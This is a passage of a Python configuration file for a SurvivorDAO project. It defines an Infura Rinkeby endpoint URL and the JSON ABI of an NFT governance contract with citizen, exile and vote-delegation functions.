response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
# test return
r = response.json()
assert(r['documentList']['responseInfo']['count'] >= 10)
def test_search_almost_all_params(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?fulltext1=transference&sourcecode=aop&sourcetype=journal&sourcelangcode=EN&volume=10&author=blum&startyear=1982&facetfields=art_sourcetype')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 1)
print (response_set[0])
def test_v2_database_search_fulltext(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?title=psychoanalysis&sourcecode=CPS&startyear=1990-1993&fulltext1="child%20abuse"&sort=citeCount&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] >= 1)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?title=psychoanalysis&sourcecode=CPS&startyear=1990&endyear=1995&fulltext1="child%20abuse"&sort=citeCount&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 3)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
def test_v2_database_search_author(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?author=freud&sourcecode=IJP&startyear=1990-1993&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] >= 1)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?author=freud&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['count'] == 10)
assert(r['documentList']['responseInfo']['fullCountComplete'] == False)
def test_v2_database_search_synonyms(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=BAP&fulltext1=text:bisexuality&sort=citeCount&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 14)
assert(r['documentList']['responseInfo']['fullCountComplete'] == False)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?synonyms=true&sourcecode=BAP&fulltext1=text:bisexuality&sort=citeCount&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 78)
assert(r['documentList']['responseInfo']['fullCountComplete'] == False)
def test_v2_database_search_citedcount(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?citecount=6 TO 10 IN 10&sourcecode=IJP OR APA&startyear=1990&endyear=2010&fulltext1="theoretical underpinnings"&sort=citeCount&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] >= 3)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
if __name__ == '__main__':
unittest.main()
| 54.46049
| 414
| 0.670936
| 2,275
| 19,987
| 5.734945
| 0.116923
| 0.087683
| 0.126466
| 0.063463
| 0.869932
| 0.862957
| 0.85238
| 0.846018
| 0.835288
| 0.831226
| 0
| 0.021623
| 0.187822
| 19,987
| 367
| 415
| 54.46049
| 0.782111
| 0.077
| 0
| 0.734899
| 0
| 0.104027
| 0.363039
| 0.236939
| 0
| 0
| 0
| 0.002725
| 0.275168
| 1
| 0.080537
| false
| 0
| 0.010067
| 0
| 0.09396
| 0.147651
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
489b61e2a9db7633f1afc922e8e300888caea2a9
| 10,388
|
py
|
Python
|
gnn_pygan/gan_attack/layers/aggregators.py
|
Guo-lab/Graph
|
c4c5fbc8fb5d645c16da20351b9746019cf75aab
|
[
"MIT"
] | null | null | null |
gnn_pygan/gan_attack/layers/aggregators.py
|
Guo-lab/Graph
|
c4c5fbc8fb5d645c16da20351b9746019cf75aab
|
[
"MIT"
] | null | null | null |
gnn_pygan/gan_attack/layers/aggregators.py
|
Guo-lab/Graph
|
c4c5fbc8fb5d645c16da20351b9746019cf75aab
|
[
"MIT"
] | null | null | null |
import torch
import torch.nn as nn
from torch.autograd import Variable
import numpy as np
import random
from collections import Counter
"""
Set of modules for aggregating embeddings of neighbors.
"""
class MeanAggregator(nn.Module):
"""
Aggregates a node's embeddings using mean of neighbors' embeddings
"""
def __init__(self, features, cuda=False, gcn=False, name=None):
"""
Initializes the aggregator for a specific graph.
features -- function mapping LongTensor of node ids to FloatTensor of feature values.
cuda -- whether to use GPU
gcn --- whether to perform concatenation GraphSAGE-style, or add self-loops GCN-style
"""
super(MeanAggregator, self).__init__()
self.name = name
self.features = features
self.cuda = cuda
self.gcn = gcn
def forward(self, nodes, to_neighs, num_sample=10, shuffle=False):
"""
nodes --- list of nodes in a batch
to_neighs --- list of sets, each set is the set of neighbors for node in batch
num_sample --- number of neighbors to sample. No sampling if None.
"""
# print("agg:" + self.name)
# print("nodes: {}".format(len(nodes)))
if type(nodes).__name__ != 'list':
nodes = nodes.tolist()
# Local pointers to functions (speed hack)
_set = set
if not num_sample is None:
_sample = random.sample
samp_neighs = [_set(_sample(to_neigh,
num_sample,
)) if len(to_neigh) >= num_sample else to_neigh for to_neigh in to_neighs]
else:
samp_neighs = to_neighs
if self.gcn:
# samp_neighs = [samp_neigh + set([nodes[i]]) for i, samp_neigh in enumerate(samp_neighs)]
samp_neighs = [set(list(samp_neigh) + [nodes[i]]) for i, samp_neigh in enumerate(samp_neighs)]
unique_nodes_list = list(set.union(*samp_neighs))
unique_nodes = {n:i for i,n in enumerate(unique_nodes_list)}
# # dense version
# mask = Variable(torch.zeros(len(samp_neighs), len(unique_nodes)))
# column_indices = [unique_nodes[n] for samp_neigh in samp_neighs for n in samp_neigh]
# row_indices = [i for i in range(len(samp_neighs)) for j in range(len(samp_neighs[i]))]
# mask[row_indices, column_indices] = 1
# num_neigh = mask.sum(1, keepdim=True)
# mask = mask.div(num_neigh)
# mask[mask != mask] = 0
#
# mask_self = Variable(torch.zeros(len(samp_neighs), len(unique_nodes)))
# column_indices = [unique_nodes[n] for n in nodes]
# row_indices = range(len(samp_neighs))
# mask_self[row_indices, column_indices] = 1
# if self.cuda:
# mask_self = mask_self.cuda()
# mask = mask.cuda()
# sparse version
column_indices = [unique_nodes[n] for samp_neigh in samp_neighs for n in samp_neigh]
row_indices = [i for i in range(len(samp_neighs)) for j in range(len(samp_neighs[i]))]
i = torch.LongTensor([row_indices, column_indices])
v = torch.FloatTensor([1/row_indices.count(ele) for ele in row_indices])
mask = torch.sparse.FloatTensor(i, v, torch.Size([len(samp_neighs), len(unique_nodes)]))
column_indices = [unique_nodes[n] for n in nodes]
row_indices = range(len(samp_neighs))
i = torch.LongTensor([row_indices, column_indices])
v = torch.FloatTensor([1 for ele in row_indices])
mask_self = torch.sparse.FloatTensor(i, v, torch.Size([len(samp_neighs), len(unique_nodes)]))
if self.cuda:
mask_self = mask_self.cuda()
mask = mask.cuda()
if self.cuda:
if self.name == 'l1':
embed_matrix = self.features[torch.LongTensor(unique_nodes_list).cuda()]
else:
embed_matrix1, embed_matrix2 = self.features(torch.LongTensor(unique_nodes_list).cuda())
else:
if self.name == 'l1':
embed_matrix = self.features[torch.LongTensor(unique_nodes_list)]
else:
embed_matrix1, embed_matrix2 = self.features(torch.LongTensor(unique_nodes_list))
if self.name == 'l1':
idx = np.random.permutation(embed_matrix.shape[0])
shuf_embed_matrix = embed_matrix[idx, :]
shuf_to_feats = mask.mm(shuf_embed_matrix)
to_feats = mask.mm(embed_matrix)
skip_feats = mask_self.mm(embed_matrix)
shuf_skip_feats = mask_self.mm(shuf_embed_matrix)
return to_feats, shuf_to_feats, skip_feats, shuf_skip_feats
else:
to_feats = mask.mm(embed_matrix1.t())
shuf_to_feats = mask.mm(embed_matrix2.t())
skip_feats = mask_self.mm(embed_matrix1.t())
shuf_skip_feats = mask_self.mm(embed_matrix2.t())
return to_feats, shuf_to_feats, skip_feats, shuf_skip_feats
class MeanAggregator_ml(nn.Module):
"""
Aggregates a node's embeddings using mean of neighbors' embeddings
"""
def __init__(self, features, cuda=False, gcn=False, name=None):
"""
Initializes the aggregator for a specific graph.
features -- function mapping LongTensor of node ids to FloatTensor of feature values.
cuda -- whether to use GPU
gcn --- whether to perform concatenation GraphSAGE-style, or add self-loops GCN-style
"""
super(MeanAggregator_ml, self).__init__()
self.name = name
self.features = features
self.cuda = cuda
self.gcn = gcn
def forward(self, nodes, to_neighs, num_sample=10, shuffle=False):
"""
nodes --- list of nodes in a batch
to_neighs --- list of sets, each set is the set of neighbors for node in batch
num_sample --- number of neighbors to sample. No sampling if None.
"""
# print("agg:" + self.name)
# print("nodes: {}".format(len(nodes)))
if type(nodes).__name__ != 'list':
nodes = nodes.tolist()
# Local pointers to functions (speed hack)
_set = set
if not num_sample is None:
_sample = random.sample
samp_neighs = [_set(_sample(to_neigh,
num_sample,
)) if len(to_neigh) >= num_sample else to_neigh for to_neigh in to_neighs]
else:
samp_neighs = to_neighs
# print("successfully get sample neigh "+self.name)
if self.gcn:
# samp_neighs = [samp_neigh + set([nodes[i]]) for i, samp_neigh in enumerate(samp_neighs)]
samp_neighs = [set(list(samp_neigh) + [nodes[i]]) for i, samp_neigh in enumerate(samp_neighs)]
unique_nodes_list = list(set.union(*samp_neighs))
unique_nodes = {n:i for i,n in enumerate(unique_nodes_list)}
# # dense version
# mask = Variable(torch.zeros(len(samp_neighs), len(unique_nodes)))
# column_indices = [unique_nodes[n] for samp_neigh in samp_neighs for n in samp_neigh]
# row_indices = [i for i in range(len(samp_neighs)) for j in range(len(samp_neighs[i]))]
# mask[row_indices, column_indices] = 1
# if self.cuda:
# mask = mask.cuda()
# num_neigh = mask.sum(1, keepdim=True)
# mask = mask.div(num_neigh)
# mask[mask != mask] = 0
#
# mask_self = Variable(torch.zeros(len(samp_neighs), len(unique_nodes)))
# column_indices = [unique_nodes[n] for n in nodes]
# row_indices = range(len(samp_neighs))
# mask_self[row_indices, column_indices] = 1
# if self.cuda:
# mask_self = mask_self.cuda()
# print('length of sample neighbor:{}'.format(len(samp_neighs)))
# print('length of unique node{}'.format(len(unique_nodes_list)))
# sparse version
column_indices = [unique_nodes[n] for samp_neigh in samp_neighs for n in samp_neigh]
# print('188'+self.name)
row_indices = [i for i in range(len(samp_neighs)) for j in range(len(samp_neighs[i]))]
# print('190'+self.name)
i = torch.LongTensor([row_indices, column_indices])
# print(193)
count=Counter(row_indices)
v = torch.FloatTensor([1/count[ele] for ele in row_indices])
# print(195)
mask = torch.sparse.FloatTensor(i, v, torch.Size([len(samp_neighs), len(unique_nodes)]))
# print(196)
column_indices = [unique_nodes[n] for n in nodes]
row_indices = range(len(samp_neighs))
i = torch.LongTensor([row_indices, column_indices])
v = torch.FloatTensor([1 for ele in row_indices])
mask_self = torch.sparse.FloatTensor(i, v, torch.Size([len(samp_neighs), len(unique_nodes)]))
# print(202)
if self.cuda:
mask_self = mask_self.cuda()
mask = mask.cuda()
# print(self.name+"%%%%%%")
if self.cuda:
if self.name == 'l1':
# print('207'+self.name)
embed_matrix = self.features[torch.LongTensor(unique_nodes_list).cuda()]
# print('layer l1:'+self.name)
else:
embed_matrix1, embed_matrix2 = self.features(torch.LongTensor(unique_nodes_list).cuda())
# print(self.name)
else:
if self.name == 'l1':
embed_matrix = self.features[torch.LongTensor(unique_nodes_list)]
else:
embed_matrix1, embed_matrix2 = self.features(torch.LongTensor(unique_nodes_list))
if self.name == 'l1':
idx = np.random.permutation(embed_matrix.shape[0])
shuf_embed_matrix = embed_matrix[idx, :]
shuf_to_feats = mask.mm(shuf_embed_matrix)
to_feats = mask.mm(embed_matrix)
skip_feats = mask_self.mm(embed_matrix)
shuf_skip_feats = mask_self.mm(shuf_embed_matrix)
return to_feats, shuf_to_feats, skip_feats, shuf_skip_feats
else:
to_feats = mask.mm(embed_matrix1.t())
shuf_to_feats = mask.mm(embed_matrix2.t())
skip_feats = mask_self.mm(embed_matrix1.t())
shuf_skip_feats = mask_self.mm(embed_matrix2.t())
return to_feats, shuf_to_feats, skip_feats, shuf_skip_feats
| 39.953846
| 106
| 0.609742
| 1,366
| 10,388
| 4.409224
| 0.106149
| 0.064752
| 0.045326
| 0.035863
| 0.92263
| 0.917151
| 0.917151
| 0.896729
| 0.896729
| 0.892744
| 0
| 0.008318
| 0.282441
| 10,388
| 260
| 107
| 39.953846
| 0.799705
| 0.297459
| 0
| 0.896
| 0
| 0
| 0.002867
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.032
| false
| 0
| 0.048
| 0
| 0.128
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
48b7533117202a068e37f97dacda41d0c8bc4a88
| 6,498
|
py
|
Python
|
tests/test_schedule_memory.py
|
jenniechae/heterocl
|
bf1239993fe3c029e9d72f5ffda399693c2b4800
|
[
"Apache-2.0"
] | null | null | null |
tests/test_schedule_memory.py
|
jenniechae/heterocl
|
bf1239993fe3c029e9d72f5ffda399693c2b4800
|
[
"Apache-2.0"
] | null | null | null |
tests/test_schedule_memory.py
|
jenniechae/heterocl
|
bf1239993fe3c029e9d72f5ffda399693c2b4800
|
[
"Apache-2.0"
] | null | null | null |
import heterocl as hcl
import numpy as np
def test_reuse_blur_x():
hcl.init()
A = hcl.placeholder((10, 10))
B = hcl.compute((10, 8), lambda y, x: A[y, x] + A[y, x+1] + A[y, x+2])
s = hcl.create_schedule([A, B])
RB = s.reuse_at(A, s[B], B.axis[1])
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((10, 8), dtype="int")
np_C = np.zeros((10, 8), dtype="int")
for y in range(0, 10):
for x in range(0, 8):
np_C[y][x] = np_A[y][x] + np_A[y][x+1] + np_A[y][x+2]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_reuse_blur_y():
hcl.init()
A = hcl.placeholder((10, 10))
B = hcl.compute((8, 10), lambda y, x: A[y, x] + A[y+1, x] + A[y+2, x])
s = hcl.create_schedule([A, B])
RB = s.reuse_at(A, s[B], B.axis[0])
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 10), dtype="int")
np_C = np.zeros((8, 10), dtype="int")
for y in range(0, 8):
for x in range(0, 10):
np_C[y][x] = np_A[y][x] + np_A[y+1][x] + np_A[y+2][x]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_reuse_blur_x_y():
hcl.init()
A = hcl.placeholder((10, 10), "A")
B = hcl.compute((8, 8), lambda y, x: A[y, x] + A[y+1, x+1] + A[y+2, x+2], "B")
s = hcl.create_schedule([A, B])
RB_y = s.reuse_at(A, s[B], B.axis[0], "RB_y")
RB_x = s.reuse_at(RB_y, s[B], B.axis[1], "RB_x")
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 8), dtype="int")
np_C = np.zeros((8, 8), dtype="int")
for y in range(0, 8):
for x in range(0, 8):
np_C[y][x] = np_A[y][x] + np_A[y+1][x+1] + np_A[y+2][x+2]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_conv2D_lb():
hcl.init()
A = hcl.placeholder((10, 10))
r = hcl.reduce_axis(0, 3)
c = hcl.reduce_axis(0, 3)
B = hcl.compute((8, 8), lambda y, x: hcl.sum(A[y+r, x+c], axis=[r, c]))
s = hcl.create_schedule([A, B])
LB = s.reuse_at(A, s[B], B.axis[0])
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 8), dtype="int")
np_C = np.zeros((8, 8), dtype="int")
for y in range(0, 8):
for x in range(0, 8):
for r in range(0, 3):
for c in range(0, 3):
np_C[y][x] += np_A[y+r][x+c]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_conv2D_wb():
hcl.init()
A = hcl.placeholder((10, 10))
r = hcl.reduce_axis(0, 3)
c = hcl.reduce_axis(0, 3)
B = hcl.compute((8, 8), lambda y, x: hcl.sum(A[y+r, x+c], axis=[r, c]))
s = hcl.create_schedule([A, B])
WB = s.reuse_at(A, s[B], B.axis[1])
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 8), dtype="int")
np_C = np.zeros((8, 8), dtype="int")
for y in range(0, 8):
for x in range(0, 8):
for r in range(0, 3):
for c in range(0, 3):
np_C[y][x] += np_A[y+r][x+c]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_conv2D_lb_wb():
hcl.init()
A = hcl.placeholder((10, 10))
r = hcl.reduce_axis(0, 3)
c = hcl.reduce_axis(0, 3)
B = hcl.compute((8, 8), lambda y, x: hcl.sum(A[y+r, x+c], axis=[r, c]))
s = hcl.create_schedule([A, B])
LB = s.reuse_at(A, s[B], B.axis[0])
WB = s.reuse_at(LB, s[B], B.axis[1])
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 8), dtype="int")
np_C = np.zeros((8, 8), dtype="int")
for y in range(0, 8):
for x in range(0, 8):
for r in range(0, 3):
for c in range(0, 3):
np_C[y][x] += np_A[y+r][x+c]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
def test_partition_basic():
hcl.init()
A = hcl.placeholder((10, 10), "A")
B = hcl.compute(A.shape, lambda x, y: A[x, y], "B")
s = hcl.create_schedule([A, B])
s.partition(A)
ir = str(hcl.lower(s))
assert "partition variable=A" in ir
def test_partition_type():
hcl.init()
A = hcl.placeholder((10, 10), "A")
B = hcl.compute(A.shape, lambda x, y: A[x, y], "B")
s1 = hcl.create_schedule([A, B])
s1.partition(A)
ir = str(hcl.lower(s1))
assert "partition variable=A complete" in ir
s1 = hcl.create_schedule([A, B])
s1.partition(A, hcl.Partition.Block)
ir = str(hcl.lower(s1))
assert "partition variable=A block" in ir
s1 = hcl.create_schedule([A, B])
s1.partition(A, hcl.Partition.Cyclic)
ir = str(hcl.lower(s1))
assert "partition variable=A cyclic" in ir
def test_partition_dim_factor():
hcl.init()
A = hcl.placeholder((10, 10), "A")
B = hcl.compute(A.shape, lambda x, y: A[x, y], "B")
s = hcl.create_schedule([A, B])
s.partition(A, dim=1, factor=2)
ir = str(hcl.lower(s))
assert "partition variable=A complete factor=2 dim=1" in ir
def test_conv2D_lb_wb_schedule():
hcl.init()
A = hcl.placeholder((10, 10))
r = hcl.reduce_axis(0, 3)
c = hcl.reduce_axis(0, 3)
B = hcl.compute((8, 8), lambda y, x: hcl.sum(A[y+r, x+c], axis=[r, c]))
s = hcl.create_schedule([A, B])
yo, yi = s[B].split(B.axis[0], 4)
LB = s.reuse_at(A, s[B], yi)
WB = s.reuse_at(LB, s[B], B.axis[1])
s.partition(LB, dim=2)
s.partition(WB)
s[B].pipeline(yo)
f = hcl.build(s)
np_A = np.random.randint(0, 10, size=(10, 10))
np_B = np.zeros((8, 8), dtype="int")
np_C = np.zeros((8, 8), dtype="int")
for y in range(0, 8):
for x in range(0, 8):
for r in range(0, 3):
for c in range(0, 3):
np_C[y][x] += np_A[y+r][x+c]
hcl_A = hcl.asarray(np_A)
hcl_B = hcl.asarray(np_B)
f(hcl_A, hcl_B)
np_B = hcl_B.asnumpy()
assert np.array_equal(np_B, np_C)
| 27.302521
| 82
| 0.541551
| 1,280
| 6,498
| 2.607813
| 0.05625
| 0.039545
| 0.052726
| 0.064709
| 0.934691
| 0.897843
| 0.895147
| 0.872978
| 0.865788
| 0.788496
| 0
| 0.050886
| 0.262081
| 6,498
| 237
| 83
| 27.417722
| 0.645255
| 0
| 0
| 0.759563
| 0
| 0
| 0.031404
| 0
| 0
| 0
| 0
| 0
| 0.065574
| 1
| 0.054645
| false
| 0
| 0.010929
| 0
| 0.065574
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5b1dd4040b0f3927045d485cddc00d8df9357692
| 199
|
py
|
Python
|
paths.py
|
lorenanda/speech-emotion-recognition
|
ae317f8ce12ea85216d073d75ef9112aa7085af0
|
[
"MIT"
] | 11
|
2020-12-20T21:23:12.000Z
|
2022-02-22T16:20:41.000Z
|
paths.py
|
lorenanda/speech-emotion-recognition
|
ae317f8ce12ea85216d073d75ef9112aa7085af0
|
[
"MIT"
] | null | null | null |
paths.py
|
lorenanda/speech-emotion-recognition
|
ae317f8ce12ea85216d073d75ef9112aa7085af0
|
[
"MIT"
] | 4
|
2020-12-28T10:37:24.000Z
|
2021-12-12T01:51:01.000Z
|
DATA_PATH = "speech_emotion_recognition/data"
FEATURES_PATH = "speech_emotion_recognition/features"
IMAGES_PATH = "speech_emotion_recognition/images"
MODELS_PATH = "speech_emotion_recognition/models"
| 49.75
| 53
| 0.864322
| 24
| 199
| 6.666667
| 0.333333
| 0.25
| 0.425
| 0.7
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.055276
| 199
| 4
| 54
| 49.75
| 0.851064
| 0
| 0
| 0
| 0
| 0
| 0.66
| 0.66
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d2bbb8a10ba1dac0e208455ce7fa68b919638215
| 308
|
py
|
Python
|
lib/key_ring.py
|
jamesbrond/ics2doist
|
119fbd70f4cbf5b869d419c66cd3a40455510802
|
[
"MIT"
] | null | null | null |
lib/key_ring.py
|
jamesbrond/ics2doist
|
119fbd70f4cbf5b869d419c66cd3a40455510802
|
[
"MIT"
] | 2
|
2022-02-14T08:11:29.000Z
|
2022-03-14T07:15:07.000Z
|
lib/key_ring.py
|
jamesbrond/ics2doist
|
119fbd70f4cbf5b869d419c66cd3a40455510802
|
[
"MIT"
] | null | null | null |
import keyring
def set_api_token(service_id, token):
keyring.set_password(service_id, 'API_TOKEN', token)
def get_api_token(service_id):
return keyring.get_password(service_id, 'API_TOKEN')
def setup(service_id):
token = input("Please enter your API token: ")
set_api_token(service_id, token)
# ~@:-]
| 23.692308
| 53
| 0.766234
| 48
| 308
| 4.583333
| 0.333333
| 0.218182
| 0.204545
| 0.231818
| 0.454545
| 0.227273
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11039
| 308
| 13
| 54
| 23.692308
| 0.80292
| 0.016234
| 0
| 0
| 0
| 0
| 0.155629
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.375
| false
| 0.25
| 0.125
| 0.125
| 0.625
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 7
|
826710fbbfbc5f6fad3af0649a74f54c33a17374
| 9,809
|
py
|
Python
|
survivorDAO-ui-main/dao_home/survivor_dao_package/creds.py
|
rolias4031/SurvivorDAO
|
7c06f19650e23eb24b0f3f47b5fc78c052dbab40
|
[
"MIT"
] | null | null | null |
survivorDAO-ui-main/dao_home/survivor_dao_package/creds.py
|
rolias4031/SurvivorDAO
|
7c06f19650e23eb24b0f3f47b5fc78c052dbab40
|
[
"MIT"
] | null | null | null |
survivorDAO-ui-main/dao_home/survivor_dao_package/creds.py
|
rolias4031/SurvivorDAO
|
7c06f19650e23eb24b0f3f47b5fc78c052dbab40
|
[
"MIT"
] | null | null | null |
ganache_url = "https://rinkeby.infura.io/v3/273ee11723d042398e38ed0d063341cb"
contract_abi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"uint256","name":"roundsSurvived","type":"uint256"}],"name":"CitizenExiled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"string","name":"name","type":"string"}],"name":"CitizenNaturalized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"citizens","outputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"roundsSurvived","type":"uint256"},{"internalType":"bool","name":"exiled","type":"bool"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{